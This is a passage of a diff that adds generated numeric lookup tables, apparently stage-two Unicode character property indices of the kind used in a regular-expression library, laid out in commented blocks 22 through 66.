+ 87, 87, 87, 87, 87, 87,182,183, 87, 87, 87, 87,184,184, 87,184,
+184,184,182,182, 87, 87,185,185,185,185,185,185,185,185,185,185,
+186,184, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 22 */
+ 87, 87,187,188, 87,188,188,188,188,188,188, 87, 87, 87,188,188,
+188, 87,188,188,188,188, 87, 87, 87,188,188, 87,188, 87,188,188,
+ 87, 87, 87,188,188, 87, 87, 87,188,188,188, 87, 87, 87,188,188,
+188,188,188,188,188,188,188,188,188,188, 87, 87, 87, 87,189,189,
+187,189,189, 87, 87, 87,189,189,189, 87,189,189,189,187, 87, 87,
+188, 87, 87, 87, 87, 87, 87,189, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87,190,190,190,190,190,190,190,190,190,190,
+191,191,191,192,192,192,192,192,192,193,192, 87, 87, 87, 87, 87,
+
+/* block 23 */
+ 87,194,194,194, 87,195,195,195,195,195,195,195,195, 87,195,195,
+195, 87,195,195,195,195,195,195,195,195,195,195,195,195,195,195,
+195,195,195,195,195,195,195,195,195, 87,195,195,195,195,195,195,
+195,195,195,195, 87,195,195,195,195,195, 87, 87, 87,195,196,196,
+196,194,194,194,194, 87,196,196,196, 87,196,196,196,196, 87, 87,
+ 87, 87, 87, 87, 87,196,196, 87,195,195, 87, 87, 87, 87, 87, 87,
+195,195,196,196, 87, 87,197,197,197,197,197,197,197,197,197,197,
+ 87, 87, 87, 87, 87, 87, 87, 87,198,198,198,198,198,198,198,199,
+
+/* block 24 */
+ 87, 87,200,200, 87,201,201,201,201,201,201,201,201, 87,201,201,
+201, 87,201,201,201,201,201,201,201,201,201,201,201,201,201,201,
+201,201,201,201,201,201,201,201,201, 87,201,201,201,201,201,201,
+201,201,201,201, 87,201,201,201,201,201, 87, 87,202,201,200,202,
+200,200,200,200,200, 87,202,200,200, 87,200,200,202,202, 87, 87,
+ 87, 87, 87, 87, 87,200,200, 87, 87, 87, 87, 87, 87, 87,201, 87,
+201,201,202,202, 87, 87,203,203,203,203,203,203,203,203,203,203,
+ 87, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 25 */
+ 87, 87,204,204, 87,205,205,205,205,205,205,205,205, 87,205,205,
+205, 87,205,205,205,205,205,205,205,205,205,205,205,205,205,205,
+205,205,205,205,205,205,205,205,205, 87,205,205,205,205,205,205,
+205,205,205,205,205,205,205,205,205,205, 87, 87, 87,205,204,204,
+204,206,206,206,206, 87,204,204,204, 87,204,204,204,206, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87,204, 87, 87, 87, 87, 87, 87, 87, 87,
+205,205,206,206, 87, 87,207,207,207,207,207,207,207,207,207,207,
+208,208,208,208,208,208, 87, 87, 87,209,205,205,205,205,205,205,
+
+/* block 26 */
+ 87, 87,210,210, 87,211,211,211,211,211,211,211,211,211,211,211,
+211,211,211,211,211,211,211, 87, 87, 87,211,211,211,211,211,211,
+211,211,211,211,211,211,211,211,211,211,211,211,211,211,211,211,
+211,211, 87,211,211,211,211,211,211,211,211,211, 87,211, 87, 87,
+211,211,211,211,211,211,211, 87, 87, 87,212, 87, 87, 87, 87,210,
+210,210,212,212,212, 87,212, 87,210,210,210,210,210,210,210,210,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87,210,210,213, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 27 */
+ 87,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,
+214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,
+214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,
+214,215,214,214,215,215,215,215,215,215,215, 87, 87, 87, 87,  3,
+214,214,214,214,214,214,216,215,215,215,215,215,215,215,215,217,
+218,218,218,218,218,218,218,218,218,218,217,217, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 28 */
+ 87,219,219, 87,219, 87, 87,219,219, 87,219, 87, 87,219, 87, 87,
+ 87, 87, 87, 87,219,219,219,219, 87,219,219,219,219,219,219,219,
+ 87,219,219,219, 87,219, 87,219, 87, 87,219,219, 87,219,219,219,
+219,220,219,219,220,220,220,220,220,220, 87,220,220,219, 87, 87,
+219,219,219,219,219, 87,221, 87,220,220,220,220,220,220, 87, 87,
+222,222,222,222,222,222,222,222,222,222, 87, 87,219,219, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 29 */
+223,224,224,224,225,225,225,225,225,225,225,225,225,225,225,225,
+225,225,225,224,224,224,224,224,226,226,224,224,224,224,224,224,
+227,227,227,227,227,227,227,227,227,227,228,228,228,228,228,228,
+228,228,228,228,224,226,224,226,224,226,229,230,229,230,231,231,
+223,223,223,223,223,223,223,223, 87,223,223,223,223,223,223,223,
+223,223,223,223,223,223,223,223,223,223,223,223,223,223,223,223,
+223,223,223,223,223,223,223,223,223,223,223,223,223, 87, 87, 87,
+ 87,226,226,226,226,226,226,226,226,226,226,226,226,226,226,231,
+
+/* block 30 */
+226,226,226,226,226,225,226,226,223,223,223,223, 87, 87, 87, 87,
+226,226,226,226,226,226,226,226, 87,226,226,226,226,226,226,226,
+226,226,226,226,226,226,226,226,226,226,226,226,226,226,226,226,
+226,226,226,226,226,226,226,226,226,226,226,226,226, 87,224,224,
+224,224,224,224,224,224,226,224,224,224,224,224,224, 87,224,224,
+225,225,225,225,225, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 31 */
+232,232,232,232,232,232,232,232,232,232,232,232,232,232,232,232,
+232,232,232,232,232,232,232,232,232,232,232,232,232,232,232,232,
+232,232,232,232,232,232,232,232,232,232,232,233,233,234,234,234,
+234,233,234,234,234,234,234,234,233,234,234,233,233,234,234,232,
+235,235,235,235,235,235,235,235,235,235,236,236,236,236,236,236,
+232,232,232,232,232,232,233,233,234,234,232,232,232,232,234,234,
+234,232,233,233,233,232,232,233,233,233,233,233,233,233,232,232,
+232,234,234,234,234,232,232,232,232,232,232,232,232,232,232,232,
+
+/* block 32 */
+232,232,234,233,233,234,234,233,233,233,233,233,233,234,232,233,
+235,235,235,235,235,235,235,235,235,235, 87, 87, 87, 87,237,237,
+238,238,238,238,238,238,238,238,238,238,238,238,238,238,238,238,
+238,238,238,238,238,238,238,238,238,238,238,238,238,238,238,238,
+238,238,238,238,238,238, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+239,239,239,239,239,239,239,239,239,239,239,239,239,239,239,239,
+239,239,239,239,239,239,239,239,239,239,239,239,239,239,239,239,
+239,239,239,239,239,239,239,239,239,239,239,  2,240, 87, 87, 87,
+
+/* block 33 */
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241, 87, 87, 87, 87, 87,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+
+/* block 34 */
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241, 87, 87, 87, 87, 87,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241, 87, 87, 87, 87, 87, 87,
+
+/* block 35 */
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242, 87,242,242,242,242, 87, 87,
+242,242,242,242,242,242,242, 87,242, 87,242,242,242,242, 87, 87,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+
+/* block 36 */
+242,242,242,242,242,242,242,242,242, 87,242,242,242,242, 87, 87,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242, 87,242,242,242,242, 87, 87,242,242,242,242,242,242,242, 87,
+242, 87,242,242,242,242, 87, 87,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242, 87,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+
+/* block 37 */
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242, 87,242,242,242,242, 87, 87,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242,242,242,242,242, 87, 87, 87, 87,243,
+244,245,245,245,245,245,245,245,245,246,246,246,246,246,246,246,
+246,246,246,246,246,246,246,246,246,246,246,246,246, 87, 87, 87,
+
+/* block 38 */
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+244,244,244,244,244,244,244,244,244,244, 87, 87, 87, 87, 87, 87,
+247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,
+247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,
+247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,
+247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,
+247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,
+247,247,247,247,247, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 39 */
+ 87,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+
+/* block 40 */
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+
+/* block 41 */
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,
+248,248,248,248,248,248,248,248,248,248,248,248,248,249,249,248,
+248,248,248,248,248,248,248, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 42 */
+250,251,251,251,251,251,251,251,251,251,251,251,251,251,251,251,
+251,251,251,251,251,251,251,251,251,251,251,252,253, 87, 87, 87,
+254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,
+254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,
+254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,
+254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,254,
+254,254,254,254,254,254,254,254,254,254,254,  2,  2,  2,255,255,
+255, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 43 */
+256,256,256,256,256,256,256,256,256,256,256,256,256, 87,256,256,
+256,256,257,257,257, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+258,258,258,258,258,258,258,258,258,258,258,258,258,258,258,258,
+258,258,259,259,259,  2,  2, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+260,260,260,260,260,260,260,260,260,260,260,260,260,260,260,260,
+260,260,261,261, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+262,262,262,262,262,262,262,262,262,262,262,262,262, 87,262,262,
+262, 87,263,263, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 44 */
+264,264,264,264,264,264,264,264,264,264,264,264,264,264,264,264,
+264,264,264,264,264,264,264,264,264,264,264,264,264,264,264,264,
+264,264,264,264,264,264,264,264,264,264,264,264,264,264,264,264,
+264,264,264,264,265,265,266,267,267,267,267,267,267,267,266,266,
+266,266,266,266,266,266,267,266,266,267,267,267,267,267,267,267,
+267,267,267,267,268,268,268,269,268,268,268,270,264,267, 87, 87,
+271,271,271,271,271,271,271,271,271,271, 87, 87, 87, 87, 87, 87,
+272,272,272,272,272,272,272,272,272,272, 87, 87, 87, 87, 87, 87,
+
+/* block 45 */
+273,273,  2,  2,273,  2,274,273,273,273,273,275,275,275,276, 87,
+277,277,277,277,277,277,277,277,277,277, 87, 87, 87, 87, 87, 87,
+278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,279,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,278,278,278,278,278, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 46 */
+278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,
+278,278,278,278,278,278,278,278,278,275,278, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 47 */
+280,280,280,280,280,280,280,280,280,280,280,280,280,280,280,280,
+280,280,280,280,280,280,280,280,280,280,280,280,280, 87, 87, 87,
+281,281,281,282,282,282,282,281,281,282,282,282, 87, 87, 87, 87,
+282,282,281,282,282,282,282,282,282,281,281,281, 87, 87, 87, 87,
+283, 87, 87, 87,284,284,285,285,285,285,285,285,285,285,285,285,
+286,286,286,286,286,286,286,286,286,286,286,286,286,286,286,286,
+286,286,286,286,286,286,286,286,286,286,286,286,286,286, 87, 87,
+286,286,286,286,286, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 48 */
+287,287,287,287,287,287,287,287,287,287,287,287,287,287,287,287,
+287,287,287,287,287,287,287,287,287,287,287,287,287,287,287,287,
+287,287,287,287,287,287,287,287,287,287, 87, 87, 87, 87, 87, 87,
+288,288,288,288,288,288,288,288,288,288,288,288,288,288,288,288,
+288,287,287,287,287,287,287,287,288,288, 87, 87, 87, 87, 87, 87,
+289,289,289,289,289,289,289,289,289,289, 87, 87, 87, 87,290,290,
+291,291,291,291,291,291,291,291,291,291,291,291,291,291,291,291,
+291,291,291,291,291,291,291,291,291,291,291,291,291,291,291,291,
+
+/* block 49 */
+292,292,292,292,292,292,292,292,292,292,292,292,292,292,292,292,
+292,292,292,292,292,292,292,293,293,294,294,294, 87, 87,295,295,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 50 */
+296,296,296,296,297,298,298,298,298,298,298,298,298,298,298,298,
+298,298,298,298,298,298,298,298,298,298,298,298,298,298,298,298,
+298,298,298,298,298,298,298,298,298,298,298,298,298,298,298,298,
+298,298,298,298,296,297,296,296,296,296,296,297,296,297,297,297,
+297,297,296,297,297,298,298,298,298,298,298,298, 87, 87, 87, 87,
+299,299,299,299,299,299,299,299,299,299,300,300,300,300,300,300,
+300,301,301,301,301,301,301,301,301,301,301,296,296,296,296,296,
+296,296,296,296,301,301,301,301,301,301,301,301,301, 87, 87, 87,
+
+/* block 51 */
+302,302,303,304,304,304,304,304,304,304,304,304,304,304,304,304,
+304,304,304,304,304,304,304,304,304,304,304,304,304,304,304,304,
+304,303,302,302,302,302,303,303,302,302,303, 87, 87, 87,304,304,
+305,305,305,305,305,305,305,305,305,305, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 52 */
+306,306,306,306,306,306,306,306,306,306,306,306,306,306,306,306,
+306,306,306,306,306,306,306,306,306,306,306,306,306,306,306,306,
+306,306,306,306,307,307,307,307,307,307,307,307,308,308,308,308,
+308,308,308,308,307,307,308,308, 87, 87, 87,309,309,309,309,309,
+310,310,310,310,310,310,310,310,310,310, 87, 87, 87,306,306,306,
+311,311,311,311,311,311,311,311,311,311,312,312,312,312,312,312,
+312,312,312,312,312,312,312,312,312,312,312,312,312,312,312,312,
+312,312,312,312,312,312,312,312,313,313,313,313,313,313,314,314,
+
+/* block 53 */
+ 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
+ 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
+ 14, 14, 14, 14, 14, 14, 94, 94, 94, 94, 94,315, 80, 80, 80, 80,
+ 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80,
+ 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80,
+ 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 88, 88, 88,
+ 88, 88, 14, 14, 14, 14, 94, 94, 94, 94, 94, 14, 14, 14, 14, 14,
+ 14, 14, 14, 14, 14, 14, 14, 14,316,317, 14, 14, 14,318, 14, 14,
+
+/* block 54 */
+ 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
+ 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 80, 80, 80, 80, 80,
+ 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80,
+ 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 88,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 82, 82,
+
+/* block 55 */
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+
+/* block 56 */
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 14, 14, 14, 14, 14,319, 14, 14,320, 14,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+
+/* block 57 */
+321,321,321,321,321,321,321,321,322,322,322,322,322,322,322,322,
+321,321,321,321,321,321, 87, 87,322,322,322,322,322,322, 87, 87,
+321,321,321,321,321,321,321,321,322,322,322,322,322,322,322,322,
+321,321,321,321,321,321,321,321,322,322,322,322,322,322,322,322,
+321,321,321,321,321,321, 87, 87,322,322,322,322,322,322, 87, 87,
+ 94,321, 94,321, 94,321, 94,321, 87,322, 87,322, 87,322, 87,322,
+321,321,321,321,321,321,321,321,322,322,322,322,322,322,322,322,
+323,323,324,324,324,324,325,325,326,326,327,327,328,328, 87, 87,
+
+/* block 58 */
+321,321,321,321,321,321,321,321,329,329,329,329,329,329,329,329,
+321,321,321,321,321,321,321,321,329,329,329,329,329,329,329,329,
+321,321,321,321,321,321,321,321,329,329,329,329,329,329,329,329,
+321,321, 94,330, 94, 87, 94, 94,322,322,331,331,332, 86,333, 86,
+ 86, 86, 94,330, 94, 87, 94, 94,334,334,334,334,332, 86, 86, 86,
+321,321, 94, 94, 87, 87, 94, 94,322,322,335,335, 87, 86, 86, 86,
+321,321, 94, 94, 94,113, 94, 94,322,322,336,336,117, 86, 86, 86,
+ 87, 87, 94,330, 94, 87, 94, 94,337,337,338,338,332, 86, 86, 87,
+
+/* block 59 */
+  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1, 16,339,339, 16, 16,
+  7,  7,  7,  7,  7,  7,  2,  2, 15, 19,  4, 15, 15, 19,  4, 15,
+  2,  2,  2,  2,  2,  2,  2,  2,340,341, 16, 16, 16, 16, 16,  1,
+  2,  2,  2,  2,  2,  2,  2,  2,  2, 15, 19,  2,  2,  2,  2, 11,
+ 11,  2,  2,  2,  6,  4,  5,  2,  2,  2,  2,  2,  2,  2,  2,  2,
+  2,  2,  6,  2, 11,  2,  2,  2,  2,  2,  2,  2,  2,  2,  2,  1,
+ 16, 16, 16, 16, 16, 87, 87, 87, 87, 87, 16, 16, 16, 16, 16, 16,
+ 17, 14, 87, 87, 17, 17, 17, 17, 17, 17,  6,  6,  6,  4,  5, 14,
+
+/* block 60 */
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,  6,  6,  6,  4,  5, 87,
+ 80, 80, 80, 80, 80, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,  3,
+  3,  3,  3,  3,  3,  3, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,342,342,342,
+342, 82,342,342,342, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 61 */
+ 13, 13,343, 13, 13, 13, 13,343, 13, 13,344,343,343,343,344,344,
+343,343,343,344, 13,343, 13, 13, 13,343,343,343,343,343, 13, 13,
+ 13, 13, 13, 13,343, 13,345, 13,343, 13,346,347,343,343, 13,344,
+343,343,348,343,344,349,349,349,349,344, 13, 13,344,344,343,343,
+  6,  6,  6,  6,  6,343,344,344,344,344, 13,  6, 13, 13,350, 13,
+ 87, 87, 87, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+351,351,351,351,351,351,351,351,351,351,351,351,351,351,351,351,
+352,352,352,352,352,352,352,352,352,352,352,352,352,352,352,352,
+
+/* block 62 */
+353,353,353, 21, 22,353,353,353,353, 87, 87, 87, 87, 87, 87, 87,
+  6,  6,  6,  6,  6, 13, 13, 13, 13, 13,  6,  6, 13, 13, 13, 13,
+  6, 13, 13,  6, 13, 13,  6, 13, 13, 13, 13, 13, 13, 13,  6, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,  6,  6,
+ 13, 13,  6, 13,  6, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+
+/* block 63 */
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+
+/* block 64 */
+ 13, 13, 13, 13, 13, 13, 13, 13,  6,  6,  6,  6, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+  6,  6, 13, 13, 13, 13, 13, 13, 13,  4,  5, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,  6, 13, 13, 13,
+
+/* block 65 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,  6,  6,  6,  6,
+  6,  6, 13, 13, 13, 13, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 66 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
